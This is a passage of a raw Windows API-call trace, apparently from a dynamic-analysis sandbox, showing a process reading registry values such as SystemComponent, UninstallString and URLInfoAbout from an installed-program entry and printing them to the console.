0x3dee90 [0151.289] GetProcessHeap () returned 0x3c0000 [0151.289] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.289] GetProcessHeap () returned 0x3c0000 [0151.289] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.289] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0151.289] __iob_func () returned 0x7fefd702a80 [0151.289] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.289] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.289] _fileno (_File=0x7fefd702ab0) returned 1 [0151.289] _errno () returned 0x204bb0 [0151.289] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.289] _errno () returned 0x204bb0 [0151.289] GetFileType (hFile=0x50) returned 0x1 [0151.289] lstrlenW (lpString=" ") returned 4 [0151.289] GetConsoleOutputCP () returned 0x1b5 [0151.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.289] GetConsoleOutputCP () returned 0x1b5 [0151.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.289] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.289] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.289] lstrlenW (lpString="SystemComponent") returned 15 [0151.289] __iob_func () returned 0x7fefd702a80 [0151.289] _fileno (_File=0x7fefd702ab0) returned 1 [0151.289] _errno () returned 0x204bb0 [0151.289] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.289] _errno () returned 0x204bb0 [0151.289] GetFileType (hFile=0x50) returned 0x1 [0151.290] lstrlenW (lpString="SystemComponent") returned 15 [0151.290] GetConsoleOutputCP () returned 0x1b5 [0151.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0151.290] GetConsoleOutputCP () returned 0x1b5 [0151.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0151.290] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0151.290] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.290] __iob_func () returned 0x7fefd702a80 [0151.290] _fileno (_File=0x7fefd702ab0) returned 1 [0151.290] _errno () returned 0x204bb0 [0151.290] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.290] _errno () returned 0x204bb0 [0151.290] GetFileType (hFile=0x50) returned 0x1 [0151.290] lstrlenW (lpString=" ") returned 4 [0151.290] GetConsoleOutputCP () returned 0x1b5 [0151.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.290] GetConsoleOutputCP () returned 0x1b5 [0151.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.290] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.290] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.290] __iob_func () returned 0x7fefd702a80 [0151.290] _fileno (_File=0x7fefd702ab0) returned 1 [0151.291] _errno () returned 0x204bb0 [0151.291] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.291] _errno () returned 0x204bb0 [0151.291] GetFileType (hFile=0x50) returned 0x1 [0151.291] lstrlenW (lpString="REG_DWORD") returned 9 [0151.291] GetConsoleOutputCP () returned 0x1b5 [0151.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.291] GetConsoleOutputCP () returned 0x1b5 [0151.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.291] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.291] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.291] __iob_func () returned 0x7fefd702a80 [0151.291] _fileno (_File=0x7fefd702ab0) returned 1 [0151.291] _errno () returned 0x204bb0 [0151.291] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.291] _errno () returned 0x204bb0 [0151.291] GetFileType (hFile=0x50) returned 0x1 [0151.291] lstrlenW (lpString=" ") returned 4 [0151.291] GetConsoleOutputCP () returned 0x1b5 [0151.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.291] GetConsoleOutputCP () returned 0x1b5 [0151.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.291] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.291] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.292] __iob_func () returned 0x7fefd702a80 [0151.292] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.292] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0151.292] _fileno (_File=0x7fefd702ab0) returned 1 [0151.292] _errno () returned 0x204bb0 [0151.292] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.292] _errno () returned 0x204bb0 [0151.292] GetFileType (hFile=0x50) returned 0x1 [0151.292] lstrlenW (lpString="0x1") returned 3 [0151.292] GetConsoleOutputCP () returned 0x1b5 [0151.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.292] GetConsoleOutputCP () returned 0x1b5 [0151.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0151.292] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.292] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.292] __iob_func () returned 0x7fefd702a80 [0151.292] _fileno (_File=0x7fefd702ab0) returned 1 [0151.292] _errno () returned 0x204bb0 [0151.292] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.293] _errno () returned 0x204bb0 [0151.293] GetFileType (hFile=0x50) returned 0x1 [0151.293] lstrlenW (lpString="\n") returned 1 [0151.293] GetConsoleOutputCP () returned 0x1b5 [0151.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.293] GetConsoleOutputCP () returned 0x1b5 [0151.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.293] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.293] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.293] GetProcessHeap () returned 0x3c0000 [0151.293] GetProcessHeap () returned 0x3c0000 [0151.293] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.293] GetProcessHeap () returned 0x3c0000 [0151.293] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.293] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.293] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.293] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0151.293] GetProcessHeap () returned 0x3c0000 [0151.293] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0151.293] GetProcessHeap () returned 0x3c0000 [0151.293] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.293] GetProcessHeap () returned 0x3c0000 [0151.293] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0151.293] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", pcbData=0x29f780*=0x6a) returned 0x0 [0151.293] __iob_func () returned 0x7fefd702a80 [0151.293] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.294] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.294] _fileno (_File=0x7fefd702ab0) returned 1 [0151.294] _errno () returned 0x204bb0 [0151.294] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.294] _errno () returned 0x204bb0 [0151.294] GetFileType (hFile=0x50) returned 0x1 [0151.294] lstrlenW (lpString=" ") returned 4 [0151.294] GetConsoleOutputCP () returned 0x1b5 [0151.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.294] GetConsoleOutputCP () returned 0x1b5 [0151.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.294] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.294] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.294] lstrlenW (lpString="UninstallString") returned 15 [0151.294] __iob_func () returned 0x7fefd702a80 [0151.294] _fileno (_File=0x7fefd702ab0) returned 1 [0151.294] _errno () returned 0x204bb0 [0151.294] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.294] _errno () returned 0x204bb0 [0151.294] GetFileType (hFile=0x50) returned 0x1 [0151.294] lstrlenW (lpString="UninstallString") returned 15 [0151.294] GetConsoleOutputCP () returned 0x1b5 [0151.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0151.294] GetConsoleOutputCP () returned 0x1b5 [0151.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0151.295] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0151.295] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.295] __iob_func () returned 0x7fefd702a80 [0151.295] _fileno (_File=0x7fefd702ab0) returned 1 [0151.295] _errno () returned 0x204bb0 [0151.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.295] _errno () returned 0x204bb0 [0151.295] GetFileType (hFile=0x50) returned 0x1 [0151.295] lstrlenW (lpString=" ") returned 4 [0151.295] GetConsoleOutputCP () returned 0x1b5 [0151.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.295] GetConsoleOutputCP () returned 0x1b5 [0151.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.295] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.295] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.295] __iob_func () returned 0x7fefd702a80 [0151.295] _fileno (_File=0x7fefd702ab0) returned 1 [0151.295] _errno () returned 0x204bb0 [0151.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.295] _errno () returned 0x204bb0 [0151.295] GetFileType (hFile=0x50) returned 0x1 [0151.295] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0151.295] GetConsoleOutputCP () returned 0x1b5 [0151.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.296] GetConsoleOutputCP () returned 0x1b5 [0151.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0151.296] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.296] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.296] __iob_func () returned 0x7fefd702a80 [0151.296] _fileno (_File=0x7fefd702ab0) returned 1 [0151.296] _errno () returned 0x204bb0 [0151.296] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.296] _errno () returned 0x204bb0 [0151.296] GetFileType (hFile=0x50) returned 0x1 [0151.296] lstrlenW (lpString=" ") returned 4 [0151.296] GetConsoleOutputCP () returned 0x1b5 [0151.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.296] GetConsoleOutputCP () returned 0x1b5 [0151.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.296] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.296] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.296] __iob_func () returned 0x7fefd702a80 [0151.296] _fileno (_File=0x7fefd702ab0) returned 1 [0151.296] _errno () returned 0x204bb0 [0151.296] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.296] _errno () returned 0x204bb0 [0151.296] GetFileType (hFile=0x50) returned 0x1 [0151.296] lstrlenW (lpString="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 52 [0151.297] GetConsoleOutputCP () returned 0x1b5 [0151.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0151.297] GetConsoleOutputCP () returned 0x1b5 [0151.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpUsedDefaultChar=0x0) returned 52 [0151.297] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0151.297] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.297] __iob_func () returned 0x7fefd702a80 [0151.297] _fileno (_File=0x7fefd702ab0) returned 1 [0151.297] _errno () returned 0x204bb0 [0151.297] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.297] _errno () returned 0x204bb0 [0151.297] GetFileType (hFile=0x50) returned 0x1 [0151.297] lstrlenW (lpString="\n") returned 1 [0151.297] GetConsoleOutputCP () returned 0x1b5 [0151.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.297] GetConsoleOutputCP () returned 0x1b5 [0151.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.297] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.297] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.297] GetProcessHeap () returned 0x3c0000 [0151.297] GetProcessHeap () returned 0x3c0000 [0151.298] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.298] GetProcessHeap () returned 0x3c0000 [0151.298] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0151.298] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0151.298] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.298] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.298] GetProcessHeap () returned 0x3c0000 [0151.298] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.298] GetProcessHeap () returned 0x3c0000 [0151.298] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.298] GetProcessHeap () returned 0x3c0000 [0151.298] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.298] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.298] __iob_func () returned 0x7fefd702a80 [0151.298] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.298] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.298] _fileno (_File=0x7fefd702ab0) returned 1 [0151.298] _errno () returned 0x204bb0 [0151.298] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.298] _errno () returned 0x204bb0 [0151.298] GetFileType (hFile=0x50) returned 0x1 [0151.298] lstrlenW (lpString=" ") returned 4 [0151.298] GetConsoleOutputCP () returned 0x1b5 [0151.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.298] GetConsoleOutputCP () returned 0x1b5 [0151.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.298] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.298] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.299] lstrlenW (lpString="URLInfoAbout") returned 12 [0151.299] __iob_func () returned 0x7fefd702a80 [0151.299] _fileno (_File=0x7fefd702ab0) returned 1 [0151.299] _errno () returned 0x204bb0 [0151.299] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.299] _errno () returned 0x204bb0 [0151.299] GetFileType (hFile=0x50) returned 0x1 [0151.299] lstrlenW (lpString="URLInfoAbout") returned 12 [0151.299] GetConsoleOutputCP () returned 0x1b5 [0151.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.299] GetConsoleOutputCP () returned 0x1b5 [0151.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0151.299] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0151.299] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.299] __iob_func () returned 0x7fefd702a80 [0151.299] _fileno (_File=0x7fefd702ab0) returned 1 [0151.299] _errno () returned 0x204bb0 [0151.299] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.299] _errno () returned 0x204bb0 [0151.299] GetFileType (hFile=0x50) returned 0x1 [0151.299] lstrlenW (lpString=" ") returned 4 [0151.299] GetConsoleOutputCP () returned 0x1b5 [0151.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.299] GetConsoleOutputCP () returned 0x1b5 [0151.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.300] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.300] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.300] __iob_func () returned 0x7fefd702a80 [0151.300] _fileno (_File=0x7fefd702ab0) returned 1 [0151.300] _errno () returned 0x204bb0 [0151.300] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.300] _errno () returned 0x204bb0 [0151.300] GetFileType (hFile=0x50) returned 0x1 [0151.300] lstrlenW (lpString="REG_SZ") returned 6 [0151.300] GetConsoleOutputCP () returned 0x1b5 [0151.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.300] GetConsoleOutputCP () returned 0x1b5 [0151.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.300] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.300] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.300] __iob_func () returned 0x7fefd702a80 [0151.300] _fileno (_File=0x7fefd702ab0) returned 1 [0151.300] _errno () returned 0x204bb0 [0151.300] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.300] _errno () returned 0x204bb0 [0151.300] GetFileType (hFile=0x50) returned 0x1 [0151.300] lstrlenW (lpString=" ") returned 4 [0151.300] GetConsoleOutputCP () returned 0x1b5 [0151.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, 